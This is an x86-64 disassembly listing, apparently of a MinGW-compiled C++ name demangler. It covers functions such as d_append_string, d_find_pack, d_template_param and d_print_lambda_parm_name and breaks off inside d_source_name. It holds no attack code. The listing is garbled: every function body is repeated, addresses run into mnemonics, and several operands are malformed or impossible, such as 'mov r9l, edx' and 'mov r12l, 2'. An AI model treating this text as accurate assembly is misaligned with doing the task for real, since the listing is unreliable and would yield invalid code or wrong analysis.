14000d565 0f 1f 00 ...
14000d568
14000d568loc_14000d568:
14000d568mov [rcx+304], 1
14000d572xor eax, eax
14000d574jmp 0x14000d55f
14000d520
14000d520d_lookup_template_argument:
14000d520mov rax, [rcx+288]
14000d527test rax, rax
14000d52aje 0x14000d568
14000d52cmov rax, [rax+8]
14000d530mov edx, [rdx+16]
14000d533mov rax, [rax+24]
14000d537test edx, edx
14000d539js 0x14000d55f
14000d53btest rax, rax
14000d53ejne 0x14000d558
14000d540jmp 0x14000d55d
14000d542
14000d542 66 0f 1f 44 00 00 f..D..
14000d548
14000d548loc_14000d548:
14000d548test edx, edx
14000d54aje 0x14000d560
14000d54cmov rax, [rax+24]
14000d550sub edx, 1
14000d553test rax, rax
14000d556je 0x14000d55d
14000d558
14000d558loc_14000d558:
14000d558cmp [rax], 48
14000d55bje 0x14000d548
14000d55d
14000d55dloc_14000d55d:
14000d55dxor eax, eax
14000d55f
14000d55floc_14000d55f:
14000d55fret
14000d560
14000d560loc_14000d560:
14000d560mov rax, [rax+16]
14000d564ret
14000d565
14000d565 0f 1f 00 ...
14000d568
14000d568loc_14000d568:
14000d568mov [rcx+304], 1
14000d572xor eax, eax
14000d574jmp 0x14000d55f
14000d520
14000d576
14000d576 // align 0x10
14000d576 // align 0x10
14000d580
14000d580d_append_string:
14000d580push rbp
14000d581push rdi
14000d582push rsi
14000d583push rbx
14000d584sub rsp, 40
14000d588mov rbx, rcx
14000d58bmov rcx, rdx
14000d58emov rsi, rdx
14000d591call strlen
14000d596test rax, rax
14000d599je 0x14000d640
14000d59fmov rdx, [rbx+256]
14000d5a6lea rbp, [rsi+rax]
14000d5aajmp 0x14000d5e2
14000d5ac
14000d5ac 66 66 2e 0f ff..
14000d5b0 1f 84 00 00 00 00 00 66 0f 1f 84 00 00 00 00 00 .......f........
14000d5c0
14000d5c0loc_14000d5c0:
14000d5c0mov rcx, rdx
14000d5c3
14000d5c3loc_14000d5c3:
14000d5c3lea rdx, [rcx+1]
14000d5c7add rsi, 1
14000d5cbmov [rbx+256], rdx
14000d5d2mov [rbx+rcx], dil
14000d5d6mov [rbx+264], dil
14000d5ddcmp rsi, rbp
14000d5e0je 0x14000d640
14000d5e2
14000d5e2loc_14000d5e2:
14000d5e2movzx edi, [rsi]
14000d5e5cmp rdx, 255
14000d5ecjne 0x14000d5c0
14000d5eeadd rsi, 1
14000d5f2mov [rbx+255], 0
14000d5f9mov edx, 255
14000d5femov rcx, rbx
14000d601mov r8, [rbx+280]
14000d608call [rbx+272]
14000d60eadd [rbx+320], 1
14000d615mov [rbx+256], 1
14000d620mov [rbx], dil
14000d623mov [rbx+264], dil
14000d62acmp rbp, rsi
14000d62dje 0x14000d640
14000d62fmovzx edi, [rsi]
14000d632mov ecx, 1
14000d637jmp 0x14000d5c3
14000d639
14000d639 0f 1f 80 00 00 00 00 .......
14000d640
14000d640loc_14000d640:
14000d640add rsp, 40
14000d644pop rbx
14000d645pop rsi
14000d646pop rdi
14000d647pop rbp
14000d648ret
14000d580
14000d580d_append_string:
14000d580push rbp
14000d581push rdi
14000d582push rsi
14000d583push rbx
14000d584sub rsp, 40
14000d588mov rbx, rcx
14000d58bmov rcx, rdx
14000d58emov rsi, rdx
14000d591call strlen
14000d596test rax, rax
14000d599je 0x14000d640
14000d59fmov rdx, [rbx+256]
14000d5a6lea rbp, [rsi+rax]
14000d5aajmp 0x14000d5e2
14000d5ac
14000d5ac 66 66 2e 0f ff..
14000d5b0 1f 84 00 00 00 00 00 66 0f 1f 84 00 00 00 00 00 .......f........
14000d5c0
14000d5c0loc_14000d5c0:
14000d5c0mov rcx, rdx
14000d5c3
14000d5c3loc_14000d5c3:
14000d5c3lea rdx, [rcx+1]
14000d5c7add rsi, 1
14000d5cbmov [rbx+256], rdx
14000d5d2mov [rbx+rcx], dil
14000d5d6mov [rbx+264], dil
14000d5ddcmp rsi, rbp
14000d5e0je 0x14000d640
14000d5e2
14000d5e2loc_14000d5e2:
14000d5e2movzx edi, [rsi]
14000d5e5cmp rdx, 255
14000d5ecjne 0x14000d5c0
14000d5eeadd rsi, 1
14000d5f2mov [rbx+255], 0
14000d5f9mov edx, 255
14000d5femov rcx, rbx
14000d601mov r8, [rbx+280]
14000d608call [rbx+272]
14000d60eadd [rbx+320], 1
14000d615mov [rbx+256], 1
14000d620mov [rbx], dil
14000d623mov [rbx+264], dil
14000d62acmp rbp, rsi
14000d62dje 0x14000d640
14000d62fmovzx edi, [rsi]
14000d632mov ecx, 1
14000d637jmp 0x14000d5c3
14000d639
14000d639 0f 1f 80 00 00 00 00 .......
14000d640
14000d640loc_14000d640:
14000d640add rsp, 40
14000d644pop rbx
14000d645pop rsi
14000d646pop rdi
14000d647pop rbp
14000d648ret
14000d580
14000d649
14000d649 // align 0x10
14000d649 // align 0x10
14000d650
14000d650d_find_pack:
14000d650sub rsp, 40
14000d654mov r8, rdx
14000d657test rdx, rdx
14000d65aje 0x14000d6a0
14000d65c
14000d65cloc_14000d65c:
14000d65cmov eax, [r8]
14000d65fcmp eax, 24
14000d662ja 0x14000d678
14000d664lea rdx, [rip+0x185fcd]
14000d66bmovsxd rax, [rdx+4*rax]
14000d66fadd rax, rdx
14000d672jmp rax
14000d674
14000d674 0f 1f 40 00 ..@.
14000d678
14000d678loc_14000d678:
14000d678sub eax, 40
14000d67bcmp eax, 55
14000d67eja 0x14000d6b0
14000d680mov rdx, 0x80006718000801
14000d68abt rdx, rax
14000d68ejb 0x14000d6a0
14000d690cmp eax, 12
14000d693jne 0x14000d6b0
14000d695mov r8, [r8+24]
14000d699
14000d699loc_14000d699:
14000d699test r8, r8
14000d69cjne 0x14000d65c
14000d69enop
14000d6a0
14000d6a0loc_14000d6a0:
14000d6a0xor eax, eax
14000d6a2
14000d6a2loc_14000d6a2:
14000d6a2add rsp, 40
14000d6a6ret
14000d6a7
14000d6a7 66 0f 1f 84 00 00 00 00 00 f........
14000d6b0
14000d6b0loc_14000d6b0:
14000d6b0mov rdx, [r8+16]
14000d6b4mov [rsp+56], r8
14000d6b9mov [rsp+48], rcx
14000d6becall d_find_pack
14000d6c3test rax, rax
14000d6c6jne 0x14000d6a2
14000d6c8mov r8, [rsp+56]
14000d6cdmov rcx, [rsp+48]
14000d6d2mov r8, [r8+24]
14000d6d6jmp 0x14000d699
14000d6d8
14000d6d8 0f 1f 84 00 00 00 00 00 ........
14000d6e0mov rax, [rcx+288]
14000d6e7test rax, rax
14000d6eaje 0x14000d740
14000d6ecmov rax, [rax+8]
14000d6f0mov edx, [r8+16]
14000d6f4mov rax, [rax+24]
14000d6f8test edx, edx
14000d6fajs 0x14000d724
14000d6fctest rax, rax
14000d6ffjne 0x14000d718
14000d701jmp 0x14000d6a0
14000d703
14000d703 0f 1f 44 00 00 ..D..
14000d708
14000d708loc_14000d708:
14000d708test edx, edx
14000d70aje 0x14000d720
14000d70cmov rax, [rax+24]
14000d710sub edx, 1
14000d713test rax, rax
14000d716je 0x14000d6a0
14000d718
14000d718loc_14000d718:
14000d718cmp [rax], 48
14000d71bje 0x14000d708
14000d71djmp 0x14000d6a0
14000d71f
14000d71f 90 .
14000d720
14000d720loc_14000d720:
14000d720mov rax, [rax+16]
14000d724
14000d724loc_14000d724:
14000d724test rax, rax
14000d727je 0x14000d6a0
14000d72dcmp [rax], 48
14000d730jne 0x14000d6a0
14000d736add rsp, 40
14000d73aret
14000d73b
14000d73b 0f 1f 44 00 00 ..D..
14000d740
14000d740loc_14000d740:
14000d740mov [rcx+304], 1
14000d74ajmp 0x14000d6a0
14000d650
14000d650d_find_pack:
14000d650sub rsp, 40
14000d654mov r8, rdx
14000d657test rdx, rdx
14000d65aje 0x14000d6a0
14000d65c
14000d65cloc_14000d65c:
14000d65cmov eax, [r8]
14000d65fcmp eax, 24
14000d662ja 0x14000d678
14000d664lea rdx, [rip+0x185fcd]
14000d66bmovsxd rax, [rdx+4*rax]
14000d66fadd rax, rdx
14000d672jmp rax
14000d674
14000d674 0f 1f 40 00 ..@.
14000d678
14000d678loc_14000d678:
14000d678sub eax, 40
14000d67bcmp eax, 55
14000d67eja 0x14000d6b0
14000d680mov rdx, 0x80006718000801
14000d68abt rdx, rax
14000d68ejb 0x14000d6a0
14000d690cmp eax, 12
14000d693jne 0x14000d6b0
14000d695mov r8, [r8+24]
14000d699
14000d699loc_14000d699:
14000d699test r8, r8
14000d69cjne 0x14000d65c
14000d69enop
14000d6a0
14000d6a0loc_14000d6a0:
14000d6a0xor eax, eax
14000d6a2
14000d6a2loc_14000d6a2:
14000d6a2add rsp, 40
14000d6a6ret
14000d6a7
14000d6a7 66 0f 1f 84 00 00 00 00 00 f........
14000d6b0
14000d6b0loc_14000d6b0:
14000d6b0mov rdx, [r8+16]
14000d6b4mov [rsp+56], r8
14000d6b9mov [rsp+48], rcx
14000d6becall d_find_pack
14000d6c3test rax, rax
14000d6c6jne 0x14000d6a2
14000d6c8mov r8, [rsp+56]
14000d6cdmov rcx, [rsp+48]
14000d6d2mov r8, [r8+24]
14000d6d6jmp 0x14000d699
14000d6d8
14000d6d8 0f 1f 84 00 00 00 00 00 ........
14000d6e0mov rax, [rcx+288]
14000d6e7test rax, rax
14000d6eaje 0x14000d740
14000d6ecmov rax, [rax+8]
14000d6f0mov edx, [r8+16]
14000d6f4mov rax, [rax+24]
14000d6f8test edx, edx
14000d6fajs 0x14000d724
14000d6fctest rax, rax
14000d6ffjne 0x14000d718
14000d701jmp 0x14000d6a0
14000d703
14000d703 0f 1f 44 00 00 ..D..
14000d708
14000d708loc_14000d708:
14000d708test edx, edx
14000d70aje 0x14000d720
14000d70cmov rax, [rax+24]
14000d710sub edx, 1
14000d713test rax, rax
14000d716je 0x14000d6a0
14000d718
14000d718loc_14000d718:
14000d718cmp [rax], 48
14000d71bje 0x14000d708
14000d71djmp 0x14000d6a0
14000d71f
14000d71f 90 .
14000d720
14000d720loc_14000d720:
14000d720mov rax, [rax+16]
14000d724
14000d724loc_14000d724:
14000d724test rax, rax
14000d727je 0x14000d6a0
14000d72dcmp [rax], 48
14000d730jne 0x14000d6a0
14000d736add rsp, 40
14000d73aret
14000d73b
14000d73b 0f 1f 44 00 00 ..D..
14000d740
14000d740loc_14000d740:
14000d740mov [rcx+304], 1
14000d74ajmp 0x14000d6a0
14000d650
14000d74f
14000d74f // align 0x10
14000d74f // align 0x10
14000d750
14000d750d_template_param:
14000d750sub rsp, 40
14000d754mov rax, [rcx+24]
14000d758mov r10, rcx
14000d75bcmp [rax], 84
14000d75ejne 0x14000d7c8
14000d760lea rdx, [rax+1]
14000d764mov [rcx+24], rdx
14000d768movzx eax, [rax+1]
14000d76ccmp al, 95
14000d76eje 0x14000d7d0
14000d770cmp al, 110
14000d772je 0x14000d7c8
14000d774call d_number
14000d779add eax, 1
14000d77cmov ecx, eax
14000d77ejs 0x14000d7c8
14000d780mov rdx, [r10+24]
14000d784cmp [rdx], 95
14000d787jne 0x14000d7c8
14000d789
14000d789loc_14000d789:
14000d789add rdx, 1
14000d78dmov [r10+24], rdx
14000d791mov edx, [r10+40]
14000d795cmp edx, [r10+44]
14000d799jge 0x14000d7c8
14000d79bmovsxd rax, edx
14000d79eadd edx, 1
14000d7a1shl rax, 5
14000d7a5add rax, [r10+32]
14000d7a9mov [rax+4], 0
14000d7b1mov [r10+40], edx
14000d7b5mov [rax], 5
14000d7bbmov [rax+16], ecx
14000d7beadd rsp, 40
14000d7c2ret
14000d7c3
14000d7c3 0f 1f 44 00 00 ..D..
14000d7c8
14000d7c8loc_14000d7c8:
14000d7c8xor eax, eax
14000d7caadd rsp, 40
14000d7ceret
14000d7cf
14000d7cf 90 .
14000d7d0
14000d7d0loc_14000d7d0:
14000d7d0xor ecx, ecx
14000d7d2jmp 0x14000d789
14000d750
14000d750d_template_param:
14000d750sub rsp, 40
14000d754mov rax, [rcx+24]
14000d758mov r10, rcx
14000d75bcmp [rax], 84
14000d75ejne 0x14000d7c8
14000d760lea rdx, [rax+1]
14000d764mov [rcx+24], rdx
14000d768movzx eax, [rax+1]
14000d76ccmp al, 95
14000d76eje 0x14000d7d0
14000d770cmp al, 110
14000d772je 0x14000d7c8
14000d774call d_number
14000d779add eax, 1
14000d77cmov ecx, eax
14000d77ejs 0x14000d7c8
14000d780mov rdx, [r10+24]
14000d784cmp [rdx], 95
14000d787jne 0x14000d7c8
14000d789
14000d789loc_14000d789:
14000d789add rdx, 1
14000d78dmov [r10+24], rdx
14000d791mov edx, [r10+40]
14000d795cmp edx, [r10+44]
14000d799jge 0x14000d7c8
14000d79bmovsxd rax, edx
14000d79eadd edx, 1
14000d7a1shl rax, 5
14000d7a5add rax, [r10+32]
14000d7a9mov [rax+4], 0
14000d7b1mov [r10+40], edx
14000d7b5mov [rax], 5
14000d7bbmov [rax+16], ecx
14000d7beadd rsp, 40
14000d7c2ret
14000d7c3
14000d7c3 0f 1f 44 00 00 ..D..
14000d7c8
14000d7c8loc_14000d7c8:
14000d7c8xor eax, eax
14000d7caadd rsp, 40
14000d7ceret
14000d7cf
14000d7cf 90 .
14000d7d0
14000d7d0loc_14000d7d0:
14000d7d0xor ecx, ecx
14000d7d2jmp 0x14000d789
14000d750
14000d7d4
14000d7d4 // align 0x10
14000d7d4 // align 0x10
14000d7e0
14000d7e0d_append_num:
14000d7e0push rbp
14000d7e1push rdi
14000d7e2push rsi
14000d7e3push rbx
14000d7e4sub rsp, 88
14000d7e8mov rdi, [rip+0x189ea1]
14000d7eflea r8, [rip+0x185ea6]
14000d7f6mov rsi, [rdi]
14000d7f9mov [rsp+72], rsi
14000d7felea rsi, [rsp+32]
14000d803mov rbx, rcx
14000d806mov r9l, edx
14000d809mov edx, 25
14000d80emov rcx, rsi
14000d811call __mingw_snprintf
14000d816test eax, eax
14000d818js 0x14000d82a
14000d81acdqe
14000d81cadd rax, 1
14000d820cmp rax, 25
14000d824ja 0x14000d91a
14000d82a
14000d82aloc_14000d82a:
14000d82amov rcx, rsi
14000d82dcall strlen
14000d832test rax, rax
14000d835je 0x14000d900
14000d83bmov rdx, [rbx+256]
14000d842lea rbp, [rsi+rax]
14000d846jmp 0x14000d8a2
14000d848
14000d848 66 66 2e 0f 1f 84 00 00 ff......
14000d850 00 00 00 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 ...ff.........ff
14000d860 2e 0f 1f 84 00 00 00 00 00 66 66 2e 0f 1f 84 00 .........ff.....
14000d870 00 00 00 00 66 66 2e 0f 1f 84 00 00 00 00 00 90 ....ff..........
14000d880
14000d880loc_14000d880:
14000d880mov rcx, rdx
14000d883
14000d883loc_14000d883:
14000d883lea rdx, [rcx+1]
14000d887add rsi, 1
14000d88bmov [rbx+256], rdx
14000d892mov [rbx+rcx], dil
14000d896mov [rbx+264], dil
14000d89dcmp rsi, rbp
14000d8a0je 0x14000d900
14000d8a2
14000d8a2loc_14000d8a2:
14000d8a2movzx edi, [rsi]
14000d8a5cmp rdx, 255
14000d8acjne 0x14000d880
14000d8aeadd rsi, 1
14000d8b2mov [rbx+255], 0
14000d8b9mov edx, 255
14000d8bemov rcx, rbx
14000d8c1mov r8, [rbx+280]
14000d8c8call [rbx+272]
14000d8ceadd [rbx+320], 1
14000d8d5mov [rbx+256], 1
14000d8e0mov [rbx], dil
14000d8e3mov [rbx+264], dil
14000d8eacmp rbp, rsi
14000d8edje 0x14000d900
14000d8efmovzx edi, [rsi]
14000d8f2mov ecx, 1
14000d8f7jmp 0x14000d883
14000d8f9
14000d8f9 0f 1f 80 00 00 00 00 .......
14000d900
14000d900loc_14000d900:
14000d900mov rcx, [rip+0x189d89]
14000d907mov rax, [rsp+72]
14000d90csub rax, [rcx]
14000d90fjne 0x14000d91f
14000d911add rsp, 88
14000d915pop rbx
14000d916pop rsi
14000d917pop rdi
14000d918pop rbp
14000d919ret
14000d91a
14000d91aloc_14000d91a:
14000d91acall __chk_fail
14000d91f
14000d91floc_14000d91f:
14000d91fcall __stack_chk_fail
14000d924nop
14000d7e0
14000d7e0d_append_num:
14000d7e0push rbp
14000d7e1push rdi
14000d7e2push rsi
14000d7e3push rbx
14000d7e4sub rsp, 88
14000d7e8mov rdi, [rip+0x189ea1]
14000d7eflea r8, [rip+0x185ea6]
14000d7f6mov rsi, [rdi]
14000d7f9mov [rsp+72], rsi
14000d7felea rsi, [rsp+32]
14000d803mov rbx, rcx
14000d806mov r9l, edx
14000d809mov edx, 25
14000d80emov rcx, rsi
14000d811call __mingw_snprintf
14000d816test eax, eax
14000d818js 0x14000d82a
14000d81acdqe
14000d81cadd rax, 1
14000d820cmp rax, 25
14000d824ja 0x14000d91a
14000d82a
14000d82aloc_14000d82a:
14000d82amov rcx, rsi
14000d82dcall strlen
14000d832test rax, rax
14000d835je 0x14000d900
14000d83bmov rdx, [rbx+256]
14000d842lea rbp, [rsi+rax]
14000d846jmp 0x14000d8a2
14000d848
14000d848 66 66 2e 0f 1f 84 00 00 ff......
14000d850 00 00 00 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 ...ff.........ff
14000d860 2e 0f 1f 84 00 00 00 00 00 66 66 2e 0f 1f 84 00 .........ff.....
14000d870 00 00 00 00 66 66 2e 0f 1f 84 00 00 00 00 00 90 ....ff..........
14000d880
14000d880loc_14000d880:
14000d880mov rcx, rdx
14000d883
14000d883loc_14000d883:
14000d883lea rdx, [rcx+1]
14000d887add rsi, 1
14000d88bmov [rbx+256], rdx
14000d892mov [rbx+rcx], dil
14000d896mov [rbx+264], dil
14000d89dcmp rsi, rbp
14000d8a0je 0x14000d900
14000d8a2
14000d8a2loc_14000d8a2:
14000d8a2movzx edi, [rsi]
14000d8a5cmp rdx, 255
14000d8acjne 0x14000d880
14000d8aeadd rsi, 1
14000d8b2mov [rbx+255], 0
14000d8b9mov edx, 255
14000d8bemov rcx, rbx
14000d8c1mov r8, [rbx+280]
14000d8c8call [rbx+272]
14000d8ceadd [rbx+320], 1
14000d8d5mov [rbx+256], 1
14000d8e0mov [rbx], dil
14000d8e3mov [rbx+264], dil
14000d8eacmp rbp, rsi
14000d8edje 0x14000d900
14000d8efmovzx edi, [rsi]
14000d8f2mov ecx, 1
14000d8f7jmp 0x14000d883
14000d8f9
14000d8f9 0f 1f 80 00 00 00 00 .......
14000d900
14000d900loc_14000d900:
14000d900mov rcx, [rip+0x189d89]
14000d907mov rax, [rsp+72]
14000d90csub rax, [rcx]
14000d90fjne 0x14000d91f
14000d911add rsp, 88
14000d915pop rbx
14000d916pop rsi
14000d917pop rdi
14000d918pop rbp
14000d919ret
14000d91a
14000d91aloc_14000d91a:
14000d91acall __chk_fail
14000d91f
14000d91floc_14000d91f:
14000d91fcall __stack_chk_fail
14000d924nop
14000d7e0
14000d925
14000d925 // align 0x10
14000d925 // align 0x10
14000d930
14000d930d_print_lambda_parm_name:
14000d930push r12
14000d932push rbp
14000d933push rdi
14000d934push rsi
14000d935push rbx
14000d936sub rsp, 80
14000d93amov rbx, rcx
14000d93dmov rcx, [rip+0x189d4c]
14000d944mov ebp, r8l
14000d947mov rax, [rcx]
14000d94amov [rsp+72], rax
14000d94fxor eax, eax
14000d951cmp edx, 91
14000d954je 0x14000db78
14000d95acmp edx, 92
14000d95dje 0x14000db40
14000d963cmp edx, 90
14000d966je 0x14000da88
14000d96cmov [rbx+304], 1
14000d976
14000d976loc_14000d976:
14000d976lea rsi, [rsp+32]
14000d97bmov r9l, ebp
14000d97emov edx, 25
14000d983lea r8, [rip+0x185d12]
14000d98amov rcx, rsi
14000d98dcall __mingw_snprintf
14000d992test eax, eax
14000d994js 0x14000d9a6
14000d996cdqe
14000d998add rax, 1
14000d99ccmp rax, 25
14000d9a0ja 0x14000db90
14000d9a6
14000d9a6loc_14000d9a6:
14000d9a6mov rcx, rsi
14000d9a9call strlen
14000d9aetest rax, rax
14000d9b1je 0x14000db58
14000d9b7mov rdx, [rbx+256]
14000d9belea rbp, [rsi+rax]
14000d9c2jmp 0x14000da26
14000d9c4
14000d9c4 66 66 2e 0f 1f 84 00 00 00 00 00 66 ff.........f
14000d9d0 66 2e 0f 1f 84 00 00 00 00 00 66 66 2e 0f 1f 84 f.........ff....
14000d9e0 00 00 00 00 00 66 66 2e 0f 1f 84 00 00 00 00 00 .....ff.........
14000d9f0 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 ff...........D..
14000da00
14000da00loc_14000da00:
14000da00mov rcx, rdx
14000da03
14000da03loc_14000da03:
14000da03lea rdx, [rcx+1]
14000da07add rsi, 1
14000da0bmov [rbx+256], rdx
14000da12mov [rbx+rcx], dil
14000da16mov [rbx+264], dil
14000da1dcmp rbp, rsi
14000da20je 0x14000db58
14000da26
14000da26loc_14000da26:
14000da26movzx edi, [rsi]
14000da29cmp rdx, 255
14000da30jne 0x14000da00
14000da32add rsi, 1
14000da36mov [rbx+255], 0
14000da3dmov edx, 255
14000da42mov rcx, rbx
14000da45mov r8, [rbx+280]
14000da4ccall [rbx+272]
14000da52add [rbx+320], 1
14000da59mov [rbx+256], 1
14000da64mov [rbx], dil
14000da67mov [rbx+264], dil
14000da6ecmp rbp, rsi
14000da71je 0x14000db58
14000da77movzx edi, [rsi]
14000da7amov ecx, 1
14000da7fjmp 0x14000da03
14000da81
14000da81 0f 1f 80 00 00 00 00 .......
14000da88
14000da88loc_14000da88:
14000da88mov r12l, 2
14000da8elea rsi, [rip+0x185c0e]
14000da95
14000da95loc_14000da95:
14000da95mov rax, [rbx+256]
14000da9cadd r12, rsi
14000da9fjmp 0x14000dae6
14000daa1
14000daa1 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 2e 0f ff.........ff..
14000dab0 1f 84 00 00 00 00 00 66 0f 1f 84 00 00 00 00 00 .......f........
14000dac0
14000dac0loc_14000dac0:
14000dac0mov rdx, rax
14000dac3
14000dac3loc_14000dac3:
14000dac3lea rax, [rdx+1]
14000dac7add rsi, 1
14000dacbmov [rbx+256], rax
14000dad2mov [rbx+rdx], dil
14000dad6mov [rbx+264], dil
14000daddcmp rsi, r12
14000dae0je 0x14000d976
14000dae6
14000dae6loc_14000dae6:
14000dae6movzx edi, [rsi]
14000dae9cmp rax, 255
14000daefjne 0x14000dac0
14000daf1add rsi, 1
14000daf5mov [rbx+255], 0
14000dafcmov edx, 255
14000db01mov rcx, rbx
14000db04mov r8, [rbx+280]
14000db0bcall [rbx+272]
14000db11add [rbx+320], 1
14000db18mov [rbx+256], 1
14000db23mov [rbx], dil
14000db26mov [rbx+264], dil
14000db2dcmp rsi, r12
14000db30je 0x14000d976
14000db36movzx edi, [rsi]
14000db39mov edx, 1
14000db3ejmp 0x14000dac3
14000db40
14000db40loc_14000db40:
14000db40mov r12l, 3
14000db46lea rsi, [rip+0x185b52]
14000db4djmp 0x14000da95
14000db52
14000db52 66 0f 1f 44 00 00 f..D..
14000db58
14000db58loc_14000db58:
14000db58mov rcx, [rip+0x189b31]
14000db5fmov rax, [rsp+72]
14000db64sub rax, [rcx]
14000db67jne 0x14000db95
14000db69add rsp, 80
14000db6dpop rbx
14000db6epop rsi
14000db6fpop rdi
14000db70pop rbp
14000db71pop r12
14000db73ret
14000db74
14000db74 0f 1f 40 00 ..@.
14000db78
14000db78loc_14000db78:
14000db78mov r12l, 2
14000db7elea rsi, [rip+0x185b21]
14000db85jmp 0x14000da95
14000db8a
14000db8a 66 0f 1f 44 00 00 f..D..
14000db90
14000db90loc_14000db90:
14000db90call __chk_fail
14000db95
14000db95loc_14000db95:
14000db95call __stack_chk_fail
14000db9anop
14000d930
14000d930d_print_lambda_parm_name:
14000d930push r12
14000d932push rbp
14000d933push rdi
14000d934push rsi
14000d935push rbx
14000d936sub rsp, 80
14000d93amov rbx, rcx
14000d93dmov rcx, [rip+0x189d4c]
14000d944mov ebp, r8l
14000d947mov rax, [rcx]
14000d94amov [rsp+72], rax
14000d94fxor eax, eax
14000d951cmp edx, 91
14000d954je 0x14000db78
14000d95acmp edx, 92
14000d95dje 0x14000db40
14000d963cmp edx, 90
14000d966je 0x14000da88
14000d96cmov [rbx+304], 1
14000d976
14000d976loc_14000d976:
14000d976lea rsi, [rsp+32]
14000d97bmov r9l, ebp
14000d97emov edx, 25
14000d983lea r8, [rip+0x185d12]
14000d98amov rcx, rsi
14000d98dcall __mingw_snprintf
14000d992test eax, eax
14000d994js 0x14000d9a6
14000d996cdqe
14000d998add rax, 1
14000d99ccmp rax, 25
14000d9a0ja 0x14000db90
14000d9a6
14000d9a6loc_14000d9a6:
14000d9a6mov rcx, rsi
14000d9a9call strlen
14000d9aetest rax, rax
14000d9b1je 0x14000db58
14000d9b7mov rdx, [rbx+256]
14000d9belea rbp, [rsi+rax]
14000d9c2jmp 0x14000da26
14000d9c4
14000d9c4 66 66 2e 0f 1f 84 00 00 00 00 00 66 ff.........f
14000d9d0 66 2e 0f 1f 84 00 00 00 00 00 66 66 2e 0f 1f 84 f.........ff....
14000d9e0 00 00 00 00 00 66 66 2e 0f 1f 84 00 00 00 00 00 .....ff.........
14000d9f0 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 ff...........D..
14000da00
14000da00loc_14000da00:
14000da00mov rcx, rdx
14000da03
14000da03loc_14000da03:
14000da03lea rdx, [rcx+1]
14000da07add rsi, 1
14000da0bmov [rbx+256], rdx
14000da12mov [rbx+rcx], dil
14000da16mov [rbx+264], dil
14000da1dcmp rbp, rsi
14000da20je 0x14000db58
14000da26
14000da26loc_14000da26:
14000da26movzx edi, [rsi]
14000da29cmp rdx, 255
14000da30jne 0x14000da00
14000da32add rsi, 1
14000da36mov [rbx+255], 0
14000da3dmov edx, 255
14000da42mov rcx, rbx
14000da45mov r8, [rbx+280]
14000da4ccall [rbx+272]
14000da52add [rbx+320], 1
14000da59mov [rbx+256], 1
14000da64mov [rbx], dil
14000da67mov [rbx+264], dil
14000da6ecmp rbp, rsi
14000da71je 0x14000db58
14000da77movzx edi, [rsi]
14000da7amov ecx, 1
14000da7fjmp 0x14000da03
14000da81
14000da81 0f 1f 80 00 00 00 00 .......
14000da88
14000da88loc_14000da88:
14000da88mov r12l, 2
14000da8elea rsi, [rip+0x185c0e]
14000da95
14000da95loc_14000da95:
14000da95mov rax, [rbx+256]
14000da9cadd r12, rsi
14000da9fjmp 0x14000dae6
14000daa1
14000daa1 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 2e 0f ff.........ff..
14000dab0 1f 84 00 00 00 00 00 66 0f 1f 84 00 00 00 00 00 .......f........
14000dac0
14000dac0loc_14000dac0:
14000dac0mov rdx, rax
14000dac3
14000dac3loc_14000dac3:
14000dac3lea rax, [rdx+1]
14000dac7add rsi, 1
14000dacbmov [rbx+256], rax
14000dad2mov [rbx+rdx], dil
14000dad6mov [rbx+264], dil
14000daddcmp rsi, r12
14000dae0je 0x14000d976
14000dae6
14000dae6loc_14000dae6:
14000dae6movzx edi, [rsi]
14000dae9cmp rax, 255
14000daefjne 0x14000dac0
14000daf1add rsi, 1
14000daf5mov [rbx+255], 0
14000dafcmov edx, 255
14000db01mov rcx, rbx
14000db04mov r8, [rbx+280]
14000db0bcall [rbx+272]
14000db11add [rbx+320], 1
14000db18mov [rbx+256], 1
14000db23mov [rbx], dil
14000db26mov [rbx+264], dil
14000db2dcmp rsi, r12
14000db30je 0x14000d976
14000db36movzx edi, [rsi]
14000db39mov edx, 1
14000db3ejmp 0x14000dac3
14000db40
14000db40loc_14000db40:
14000db40mov r12l, 3
14000db46lea rsi, [rip+0x185b52]
14000db4djmp 0x14000da95
14000db52
14000db52 66 0f 1f 44 00 00 f..D..
14000db58
14000db58loc_14000db58:
14000db58mov rcx, [rip+0x189b31]
14000db5fmov rax, [rsp+72]
14000db64sub rax, [rcx]
14000db67jne 0x14000db95
14000db69add rsp, 80
14000db6dpop rbx
14000db6epop rsi
14000db6fpop rdi
14000db70pop rbp
14000db71pop r12
14000db73ret
14000db74
14000db74 0f 1f 40 00 ..@.
14000db78
14000db78loc_14000db78:
14000db78mov r12l, 2
14000db7elea rsi, [rip+0x185b21]
14000db85jmp 0x14000da95
14000db8a
14000db8a 66 0f 1f 44 00 00 f..D..
14000db90
14000db90loc_14000db90:
14000db90call __chk_fail
14000db95
14000db95loc_14000db95:
14000db95call __stack_chk_fail
14000db9anop
14000d930
14000db9b
14000db9b // align 0x10
14000db9b // align 0x10
14000dba0
14000dba0d_source_name:
14000dba0sub rsp, 40
14000dba4mov r10, rcx
14000dba7call d_number
14000dbacmov r8l, eax
14000dbafxor eax, eax
14000dbb1test r8l, r8l
14000dbb4jle 0x14000dc2f
14000dbb6mov rax, [r10+24]
14000dbbamov rcx, [r10+8]
14000dbbemovsxd rdx, r8l
14000dbc1sub rcx, rax
14000dbc4cmp rcx, rdx
14000dbc7jl 0x14000dc50
14000dbcdadd rdx, rax
14000dbd0mov [r10+24], rdx
14000dbd4test [r10+16], 4
14000dbd9je 0x14000dbe0
14000dbdbcmp [rdx], 36
14000dbdeje 0x14000dc38
14000dbe0
14000dbe0loc_14000dbe0:
14000dbe0cmp r8l, 9
14000dbe4jle 0x14000dc20
14000dbe6
14000dbe6loc_14000dbe6:
14000dbe6mov rdx, 0x5f4c41424f4c475f
14000dbf0cmp [rax], rdx
14000dbf3jne 0x14000dc20
14000dbf5movzx edx, [rax+8]
14000dbf9sub edx, 36
14000dbfccmp dl, 59
14000dbffja 0x14000dc20
14000dc01mov rcx, 0x800000000000401
14000dc0bbt rcx, rdx
14000dc0fjae 0x14000dc20
14000dc11cmp [rax+9], 78
14000dc15je 0x14000dc58
14000dc17nop [rax+rax]
14000dc20
14000dc20loc_14000dc20:
14000dc20mov rdx, rax
14000dc23mov rcx, r10
14000dc26call d_make_name
14000dc2b
14000dc2bloc_14000dc2b:
14000dc2bmov [r10+64], rax
14000dc2f
